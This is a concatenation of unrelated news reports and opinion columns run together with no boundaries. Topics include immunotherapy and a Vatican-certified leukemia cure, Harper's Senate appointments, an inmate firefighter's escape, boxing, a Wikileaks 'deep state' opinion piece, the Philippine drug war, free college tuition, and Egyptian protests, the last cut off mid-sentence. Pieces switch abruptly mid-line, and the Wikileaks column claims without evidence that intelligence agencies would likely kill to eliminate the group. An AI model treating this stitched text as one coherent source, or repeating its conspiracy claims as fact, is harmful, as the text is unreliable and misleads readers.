The Vatican might seem an unlikely place for a medical conference, but in this case it was fitting. The thread that likely connects Catholicism with immunotherapy runs all the way back to February 22, 1952, when a twenty-nine-year-old housewife in Baltimore noticed that her four-year-old daughter, Ann O’Neill, was pale and feverish, her neck mottled with blue. Only a few days later, doctors at St. Agnes Hospital had diagnosed the girl with acute lymphatic leukemia, a type of cancer that impedes normal white-blood-cell production. Several months later, after a brief partial remission, Ann was placed in an oxygen tent and given no more than a day to live. As her mother told a reporter in 1963, the girl “had lost all spirit: it was almost as if life were gone and just some reflexes were left.”
St. Agnes was founded in 1862 by the American branch of the Daughters of Charity, an order dedicated to ministering to the sick and poor. As Ann lay dying, the head pediatrics nurse, Sister Mary Alice Fowler, approached her parents and suggested that Elizabeth Seton, the order’s late founder, could perhaps intervene on Ann’s behalf. Although Seton had died in 1821, the sisters at St. Agnes had good reason to turn to her. In 1935, Seton had been credited with curing a nun in New Orleans of pancreatic cancer. Now she needed a second miracle to continue her journey to sainthood.
Ann’s parents agreed to Fowler’s plan for a novena—nine days of prayer. A small piece of cloth that had touched Seton’s remains was affixed to Ann’s nightgown, and, according to some versions of the story, the girl was also taken to visit Seton’s tomb. Her recovery began almost immediately. Within two weeks, she was released from the hospital with no trace of leukemia in her blood. Two years later, with Ann still in perfect health, the O’Neills received a visit from a Vatican investigator, known as a devil’s advocate, whose job was to search for evidence that could explain Ann’s recovery by non-miraculous means. After an eight-year inquiry, which included a thorough review of Ann’s case by Sidney Farber, the man who pioneered the first effective treatments for leukemia, the verdict came down from the Vatican: it was a miracle. Seton was canonized in 1975, the first native-born American to become a saint.
The Vatican’s medical investigation was, by all accounts, exhaustive. Milton Sacks, a prominent hematologist at the University of Maryland Hospital who helped treat Ann, testified that he had never seen or heard of a similar recovery. And yet the investigation did not, ultimately, give credence to one possible explanation for the girl’s dramatic change of fortune. Shortly before her leukemia went into complete remission, raw blisters broke out across her body. Sacks would later describe it as among the worst cases of chicken pox that he had ever seen.
Was it possible that, in attacking the virus, Ann’s immune system had killed the leukemia, too? This sort of phenomenon had been recognized since at least the late nineteenth century, when William Coley, a surgeon in New York, discovered that a rapidly growing sarcoma had vanished from the neck of a German immigrant after he contracted a serious skin infection. In the ensuing years, Coley attempted to treat many other cancer patients with a bacteria-filled concoction that became known as Coley’s toxins. But neither he nor his successors ever had much success, and for most of the twentieth century immunotherapy remained at the fringes of cancer research—which is perhaps why the devil’s advocate ruled out the chicken-pox cure. In the past five years, though, the field has once again taken on an aura of promise. Last month, Sean Parker, the billionaire co-founder of Napster and former president of Facebook, announced that he was launching his own institute for the study of immunotherapy. Jeffrey Bluestone, the institute’s C.E.O., told me in Rome that this is an “incredible time” for cancer research.
Looking back at Ann O’Neill’s case now, an immune response to chicken pox seems a plausible explanation for the disappearance of her cancer. “For me, that’s endogenous immunotherapy,” Chi Van Dang, the director of the Abramson Cancer Center at the University of Pennsylvania, told me. “Without any proof at all, it’s almost certain that’s what happened.” And it’s possible that other Vatican-sanctioned cancer miracles are due to an immune response, too. In 2014, for instance, an article in the journal BMC Cancer noted that St. Peregrine, the patron saint of cancer patients, who died in 1345, likely had an infection before his own miraculous recovery from cancer—though the story may be apocryphal. (A book on tumors that disappear spontaneously, published in 1966, suggested that they be called “St. Peregrine Tumors.”)
Neither Seton nor Peregrine seems to be at any risk of losing their sainthood. For all the current enthusiasm, immunotherapy has a long way to go. Tak Mak, a Canadian researcher who, in 1984, discovered the receptor that allows the immune system to recognize some of its foes, reminded the Vatican’s conference-goers that attacking solid tumors remains a major hurdle for the field. Such tumors are protected by a coating of cells known as macrophages, which keep the immune system’s main assassins, the T-cells, from entering. “It’s almost as if this layer of macrophages is the wall that separates the Greek soldiers from getting to Helen of Troy,” Mak said. He added that he and his colleagues are now searching for the microscopic Trojan horse that can break through the wall. If immunotherapy researchers can find a way to do that, we may have a cancer miracle that everyone can believe in.When you're in the midst of a mess, it's easy to look back at past decisions and assume they were bad ones. You feel like you must have done something very wrong to land yourself in your current predicament. And often times this hindsight judgment is unduly harsh -- you really couldn't have known how things would turn out when you made the choices you did.
That is not, however, the case when it comes to Stephen Harper and the Senate. If the Prime Minister is now looking back and having second thoughts about his Senate appointments -- in particular at his choices of high-profile journalists Mike Duffy and Pamela Wallin, who are now embroiled in spending scandals -- he is quite right to do so. And to kick himself for the opportunity he missed.
You see, Harper was always critical of the Senate status quo. He was all about elections and term limits. After entering office as PM in 2006, he let 16 Senate vacancies accrue in the ensuing months rather than appoint an unelected Senator. (He made an exception for Michael Fortier, who promised to step down to run in the next general election -- which he did, promptly losing spectacularly to a Bloc Quebecois incumbent in 2008.)
Eventually, though, Harper relented. Within a few months of the 2008 election, with the looming spectre of a possible Liberal-NDP coalition, Harper announced that he'd be quickly filling all the Senate vacancies, which by that point had reached 18.
My feeling is that this was Harper's opportunity to make a strong, principled statement. Ok, so there wasn't a possibility to get 18 elected senators in there at that point in time. And waiting for 18 senators to be elected by provinces that were largely uninterested in holding such elections would have been petulant and unproductive. But there was still the possibility to do something no prime minister had ever done before: Choosing a full slate of completely normal, average Canadians with no ties to the ruling party, the Prime Minister himself, or the country's elite and powerful institutions. People who could offer not fundraising opportunities for the Conservatives, but perspective for an institution sorely lacking a connection with real life. Heck, it would have been a refreshing departure just to choose a full contingent of people who could actually use and appreciate the $135,000 a year. People whose names none of us would have heard of, and who would not be rushing off to board meetings or speaking engagements or fundraising dinners across the country, but simply doing their jobs.
Instead, Harper chose Pamela Wallin and Mike Duffy, high-profile journalists, insiders, cognoscente, people accustomed to healthy six-digit salaries, attention, and comfortable lives. He rounded out those appointments with a bunch of long-time party loyalists and fundraisers, former and current politicians, lawyers, and super-rich folks. Now, he is reaping what he sowed.
I'm not saying it's impossible a "normal," no-name Canadian could have engaged in the sort of inappropriate spending and taxpayer-bilking of which Mike Duffy and Pamela Wallin stand accused. It's just that both the sense of entitlement and the tendency to be focusing on any number of ways to boost one's own profile -- travelling around to pop up for board meetings or run consulting gigs -- that facilitate such improper acts would have been a lot less likely in ordinary people. Had Harper chosen, over his time in power, to appoint 59 complete nobodies to the senate, I suspect that the attitude in the red chamber would by now have changed considerably, gravitating toward gratitude for the opportunity and, in the best case scenario, a genuine desire to get a job done. In the worst case scenario, we'd still see apathy, and pay a price for the senators' inexperience, but there would be far less likelihood of a pervasive sense that senators are inherently deserving of privilege and special treatment -- entitled to claim as much as they can get away with without being scrutinized by the great unwashed.
And it's that attitude, more than anything else having to do with the Senate, that so desperately needs reforming. Which is sad, because it's a reform that could have been made so easily, without any legislation or constitutional amendments or Supreme Court references.
It's a reform that Stephen Harper could have made about five years ago, simply by making the bold choice of tapping normal, everyday folks to sit in the country's upper house.
If that's not a regret the Prime Minister harbours, it should be.
ALSO ON HUFFPOSTAn inmate working for a corrections-related firefighting crew battling the Canyon Fire 2 in Orange County, California, left his assigned post unnoticed and made an escape. Authorities are now actively searching for the man.
Armando Castillo, 31, had been working with fellow inmates near Peters Canyon Regional Park in the city of Orange, where he was last seen on Sunday at 4:45pm. Castillo was discovered missing “when he needed to be counted” by corrections officials during a routine procedure, Krissi Khokhobashvili of the California Department of Corrections and Rehabilitation said.
Read more
CDCR officials, Cal Fire, the California Highway Patrol and local law enforcement agencies have been notified of the escape, and will be assisting in the search for the inmate.
Castillo is a minimum-security inmate assigned to Oak Glen Conservation Camp in Yucaipa, California, and is currently serving a five-year sentence for possession of a firearm and evading a peace officer while driving recklessly. He was scheduled to be released on probation in May 2018, according to KTLA.
There were 500 inmates assigned to the area to battle the blaze, the Orange County Register reported.
An inmate walking off from his assigned area is a rare occurrence, but most of the time the individual is located quickly after their escape, CDCR spokesman Bill Sessa said, according to KTLA.
Inmates like Castillo who opt to join the California fire camps get a day knocked off their sentences for every two days they work. They also earn $2 for every day they work, and $1 an hour while they are on a fire line, according to the Register.
The Canyon Fire 2 in Southern California is now 90 percent contained, after a week in which it destroyed 25 structures, damaged 55 and burned a total of 9,217 acres.
Those affected by Canyon Fire 2 are now eligible for direct federal aid, according to a White House decision announced on Sunday by Governor Jerry Brown, the Rancho Santa Margarita Patch reported.
READ MORE: Brushfire spreading in S. California prompts evacuations
The same type of assistance being made available to those affected by the Bay Area and Redding wildfires, will be available to those affected by the Southern California blaze, according to the governor’s office, the Patch reported.
The fire started as a brush fire in the region's Anaheim Hills neighborhood in Orange County on October 9. Full containment of the blaze is expected by Tuesday October 17, according to officials, KTLA reported.
The cause of the fire remains under investigation by Anaheim Fire and Rescue.
The evacuations of 16,570 people from their homes in Anaheim, Orange and Tusting were ordered as the fire progressed after October 9. But the evacuees have since returned after the evacuation order was lifted on October 12, according to the Register.By Miguel Rivera
Saul 'Canelo' Alvarez (47-1-1, 33KOs) has confirmed the possibility of facing WBO middleweight champion Billy Joe Saunders (23-0, 12KOs), at 160-pounds, on a date in December.
Canelo returns on on September 17th at AT&T Stadium in Arlington, Texas - when he faces Saunders' stablemate Liam Smith for the WBO junior middleweight world title.
Canelo has fought his last five bouts at 155-pounds, and briefly held the WBC middleweight crown before vacating the belt to drop back to 154.
Like Canelo, Saunders has announced that his next world title defense will take place on September 17th. There have been rumors of that defense taking place on Canelo-Smith undercard as a tool to further build a fall fight between Canelo and Saunders.
Canelo wants to slowly build his body to the middleweight limit of 160 with an eye on facing WBC/WBA/IBF/IBO middleweight champion Gennady 'GGG' Golovkin (35-0, 32KOs) in September of 2017. Golovkin defends his belts on September 10th against IBF welterweight champion Kell Brook at the O2 Arena in London.
A fight with Saunders would be Canelo's first step at becoming a full-fledged middleweight contender.
"It's what we've thought about, but let's see what happens. First things first [is the fight with Smith]. I always like to take care of the challenges in front of me first and then look at what else lies ahead, but this is what is being planned," Canelo said to ESPN Deportes.
Canelo's May fight with Khan, and the upcoming bout with Smith, are both HBO Pay-Per-View events. The Mexican superstar says the plan is to make his December fight a non-PPV attraction on regular HBO.
"Yes, that's the plan, make a fight on broadcast TV. That is the plan we have, but first we have this [fight with Smith] and then we'll at the others," Canelo said.As events develop and more things are exposed things become clearer. The target for the intelligence community for Russiagate is not Trump. It is Wikileaks. The aim is to discredit the organization as nothing more than an agent of Russia in the eyes of the public. After all it does not matter how accurate the information they present is if the public thinks that Wikileaks is doing it to further Russian interests. With Wikileaks effectively eliminated the intelligence agencies lose the only effective check they have on their activities.
Note that I am not saying this is the goal of Democrats. They are sincere in their efforts to unseat Trump. Just like they would be in their efforts to unseat any republican elected. Manufacturing a crisis is the easiest way back to power for Democrats. The intelligence community is a separate from the Democrats and they have their own goals. The Democrats are just being used as useful idiots.
Trump
Under normal circumstances the intelligence community would not only be supportive of Trump they would be fiercely loyal to him. In many ways Trump is the perfect president for the deep state.
First off Trump is very results oriented. He does not particularly care about the methods used just as long as the objective is achieved. If the CIA were to torture 50 terrorists to save 5 american lives Trump would not have a problem with it and would even congratulate the agents while other presidents may have moral issues.
Second by this time Trump is already immune to the media and public pressure. He knows that a certain segment of the public will never support him and the media will always paint his administration in the worst light possible. If Homeland Security were to have a scandal under his term then he would not care very much and just call the media fake news.
Third because Trump is a larger than life character most of the attention is centered around him. Russiagate was always going to happen. If Cruz, Rubio, or any other Republican won the Democrats would still accuse them of being a puppet for Putin. The email issue started during the primaries which mean any Republican who made it to the general would have benefited from it. Russiagate is not a delusional response but a logical one. If you are working in the leadership of the Clinton campaign and managed to lose despite every conceivable advantage, double the war chest, a friendly media, establishment figures on both sides supporting you, and a third party candidate whose primary purpose was to draw votes away from Trump in Mcmullin you would have a very hard time finding a job afterwards. Russiagate is a defense mechanism for the leadership of the Clinton campaign after all they decided on it hours after the election ended. The difference is that the other Republicans would have reacted differently to it. Trump shines a spotlight on it. If the CIA were to effect a hostile takeover of Ukraine tomorrow and the plans leaked all over the media the American public would still be talking about Russiagate the next day.
Trump represents a perfect storm for the deep state of a president who does not care what methods they use and who focuses the publics attention on him making them care less about the deep state in the process. It is like having a blank check from to do what you will.
Wikileaks
While Trump can be a boon for the intelligence community Wikileaks represents a bigger threat. At the end of the day the deep state knows that whoever the president is they will still be around at the end of their 8 years. Trump, Rubio, Cruz, Clinton, Obama, or anyone else is not going to abolish any of the intelligence agencies so they can ultimately work with any of them.
Guantanamo Bay, Chelsea Manning, The Iraq war, The Afghanistan war, The detainee policies, Vault 7, and more. Wikileaks has proven to be the only entity who can effectively check the power of the various intelligence communities. It could very well be that Wikileaks has done more to limit the deep state than the GRU, Mossad, and every other foreign intelligence agency. Not only would the CIA, FBI, and other agencies lie in order to remove Wikileaks from the picture they would most likely kill to do so.
The Truth
The stakes are much higher than anyone realizes. We are not just discussing Trump or partisan politics anymore. What we are seeing is nothing less than the intelligence community or “deep state” eliminating any checks to their power.
Think of a future without Wikileaks. There is no organization which is currently capable of succeeding them in their function. It does not even seem like there is any with even just the potential to take over. Leakers would have nowhere to go. Traditional media would not dare do what Wikileaks does. If a organization does rise up to replace them all the intelligence communities would have to do is raise up some links to Russia or any other nation and they would be discredited by association to Wikileaks.
Without any organizations to check them the intelligence community can do whatever they want. We already have the Vault 7 releases which state that they can use tv sets to spy on people and are working on technology to obtain remote control of cars, which has been described as the perfect assassination tool. By supporting their drive to eliminate Wikileaks the intelligence community is essentially asking you to hand over complete control over to them with no oversight. There is very few things that are more terrifying than what the deep state is asking us to do.
AdvertisementsVice President Leni Robredo says the government should study models of other countries that have succeeded in the fight against illegal drugs without resorting to violence
Published 11:49 AM, February 02, 2017
MANILA, Philippines – Vice President Leni Robredo on Thursday, February 2, expressed her misgivings about President Rodrigo Duterte's proposal to revive the Philippine Constabulary (PC) to lead his war on drugs.
"Let us not hurry in making decisions on who would implement [the anti-drugs campaign] now that the PNP (Philippine National Police) is stripped of the obligation," Robredo said in Filipino in an interview with GMA's News To Go.
"Why was the PC abolished? It's because many of them have been very abusive," she added. (READ: LOOKBACK: The Philippine Constabulary under Marcos)
Presidential Spokesperson Ernesto Abella earlier announced that Duterte was thinking of reviving the PC to handle the nationwide campaign against illegal narcotics after he ordered the cleansing of the PNP.
The President's directive came as police officers under the Anti-Illegal Drug Group (AIDG) were tagged in the slay of South Korean businessman Jee Ick Joo. The AIDG has been dissolved since. (READ: Dela Rosa orders PNP: Stop war on drugs)
For Robredo, the drug problem would not be solved by simply shifting the leadership of the government's campaign against illegal drugs. She said that 6 months since the drug war started, drug laboratories were still being raided.
"Even [after] all those killings, that is not the deterrent. The illegal drug trade still continues," she said.
The Vice President said now would be the best time to review the campaign.
"Maybe now that 6 months after and nothing's happening, we have to rethink what we are doing. Are we doing [something] wrong?" she asked.
She also said it would be good to study the models of other countries that have succeeded in the fight against illegal drugs without resorting to violence.
As of January 31, 7,080 people have been killed in the Duterte administration's war on drugs. – Rappler.comHave you ever wished that the Guardians from The Legend of Zelda: Breath of the Wild were real? Or that they were shrunken down just a bit to be less lethal? If so, Adafruit Industries has you covered, as they have created an original 3D model of the Guardian that moves and lights up too!
As you can see above, tons of work was put into this model so that the Guardian moves with the same level of intricacy it has in the games. The main difference is that the center eye lights up blue instead of firing a deadly laser, but for a collector's purposes, I would also call that a plus in my book.
What do you think about this recreation of the Guardian? And what do you think about Adafruit's other Nintendo-themed creations? Let us know in the comments below!Story highlights Earlier in the day, Melania Trump said she'd work to improve a social media culture as first lady
"Doesn't this start at home?" Cooper asked Conway
(CNN) CNN's Anderson Cooper questioned Donald Trump campaign manager Kellyanne Conway Thursday on how Melania Trump could crusade against online bullying when her husband famously antagonizes others on Twitter.
Earlier in the day, Melania Trump, in her first speech on the 2016 trail, said she'd work to improve a social media culture that she said has gotten "too mean and too tough" if she became first lady.
"Doesn't this start at home?" Cooper asked Conway on "Anderson Cooper 360." "Isn't the problem at her own dinner table?"
"No, it's not at her own dinner table," Conway fired back. "The fact that her husband is running for president and defends himself sometimes or tweets things out --"
"Talking about Carly Fiorina's face wasn't a counterattack. That was just an attack," Cooper interjected. He was referring to Trump's attack on the former Hewlett Packard CEO and Republican presidential hopeful in September 2015 when he said "Look at that face! Would anyone vote for that? Can you imagine that, the face of our next president?"
Read MoreThe issue of making college tuition-free has recently come to the fore in American politics, largely because the two leading contenders for the Democratic presidential nomination, Bernie Sanders and Hillary Clinton, have each championed it. Sanders has called for free undergraduate tuition at public colleges and universities, to be financed by a tax on Wall Street speculation, while Clinton has done the same, although with some qualifications and a different funding mechanism.
The major argument for free public college and university education is the same as for free public education in general: like the free public elementary and high schools already existing in the United States, free public higher education provides educational opportunity for all.
Actually, until fairly recently, the United States had a free or virtually free system of public higher education. In 1862, to provide educational opportunity for the “sons of toil,” the U.S. Congress passed the Morrill Act, establishing land-grant public colleges and universities on a tuition-free basis. For roughly a century thereafter, many American public colleges and universities either charged no tuition or a nominal fee for attendance. The State University of New York (SUNY) system—the largest in the nation—remained tuition-free until 1963. The University of California system, established in 1868, had free tuition until the 1980s.
In recent decades, however, the situation has changed dramatically, with tuition costs soaring to dizzying heights at both public and private colleges. Between 1978 and 2013, American college tuition reportedly rose by 1,120 percent. Last year, the average annual cost for undergraduate tuition and fees at public colleges and universities was $9,139 for state residents and $22,958 for out of state residents. At the University of California, yearly undergraduate tuition and fees now stand at $13,251 for state residents and $37,959 for out of state residents. The cost is considerably higher at private colleges and universities, which average $32,599 yearly for tuition and fees. The ten most expensive average $50,632 a year. These figures, of course, do not include additional thousands of dollars for room, board, books, and other living costs.
This enormous hike in tuition has had a devastating impact upon educational opportunity. Unable to afford college, many young people never attend it or drop out along the way.
This enormous hike in tuition has had a devastating impact upon educational opportunity. Unable to afford college, many young people never attend it or drop out along the way. Studies have found that the primary reason young people cite for not attending college is its enormous cost. Many other young people can afford to attend college only by working simultaneously at paying jobs (which takes time away from their studies) and/or by running up enormous debt. As recently as the early 1990s, most college students did not take out loans to finance their education. Now, however, nearly three out of four college graduates have borrowed to cover their college costs, running up a debt averaging $30,000 each. As a result, American student loan debt now totals $1.3 trillion. Paying off this debt at high interest rates constitutes a heavy burden for young Americans, and all too many of them either default on it or, to repay it, give up on their dreams and settle for working at jobs they dislike.
The tuition squeeze on young Americans results largely from severe reductions in state and local funding for public colleges and universities, usually initiated by conservative, budget-cutting governments. Since 2008 alone, state funding for public universities has dropped 16 percent. During that same period, state funding for SUNY’s 64 campuses dropped by 28 percent. Indeed, there is considerable question as to whether public colleges and universities are still public institutions, for most of their costs—once covered by government funding—are now met by student tuition. Today, state funding covers only about 30 percent of SUNY’s costs; students pick up the remaining 70 percent.
This campus austerity program hurts not only students, but the entire educational process. Anxious to maintain or expand operations despite declining levels of government funding, college and university administrators cut campus costs by replacing tenured and tenure-line faculty with rootless, powerless, low-paid part-timers (adjuncts) and underpaid full-timers in temporary positions (contingents). In 1969, tenured and tenure-track faculty held three out of four teaching positions. By 2013, this “regular” faculty held one out of five. Faculty morale and the quality of education have plummeted.
In addition, campus administrators, faced with declining income, are increasingly inclined to accept funding from wealthy individuals and corporations that are reshaping higher education to serve their interests. From 2005 to 2013, two rightwing billionaires, Charles and David Koch, spent $68 million funding the kinds of programs they wanted on 308 U.S. college and university campuses. In New York State, when Governor Andrew Cuomo initiated Start-Up NY, a scheme to provide a tax-free haven to businesses that moved onto or near public (and some private) college campuses, there was never any question about how SUNY’s chancellor and other administrators would respond. Instead of resisting this business takeover of university facilities and mission, they became leading cheerleaders for it.
In these circumstances, free tuition would, at the least, restore educational opportunity to millions of Americans and lift the terrible burden of debt from the shoulders of young people. In addition, by bringing large numbers of new students and their funding to public colleges and universities, it would reduce the incentive for administrators to turn the faculty into powerless, impoverished migrant laborers.
Indeed, a surge of fully-funded students might even provide administrators with the backbone to resist the growing corporate takeover of higher education. Furthermore, although private colleges might resent this enhanced funding of their public competitors, the resulting competition for students might encourage them to decrease their astronomical tuition, thus providing them with a more economically diverse student body.
Overall, then, tuition-free college makes a lot of sense, which explains why Americans established it in the first place.
Lawrence Wittner
History News NetworkEgyptian police have fired tear gas at thousands of demonstrators outside the Interior Ministry protesting the security forces' failure to prevent a riot that killed 74 people.
Anger has been building as the public and lawmakers blamed the country's military rulers for the bloodshed, the latest to signal rapidly deteriorating security in the country since Hosni Mubarak's fall nearly a year ago.
The protests started as a peaceful march by Egyptians angry over the police inaction from the headquarters of Al-Ahly, one of Egypt's most popular soccer clubs, to the area outside the ministry building near Tahrir Square, the epicenter of last |
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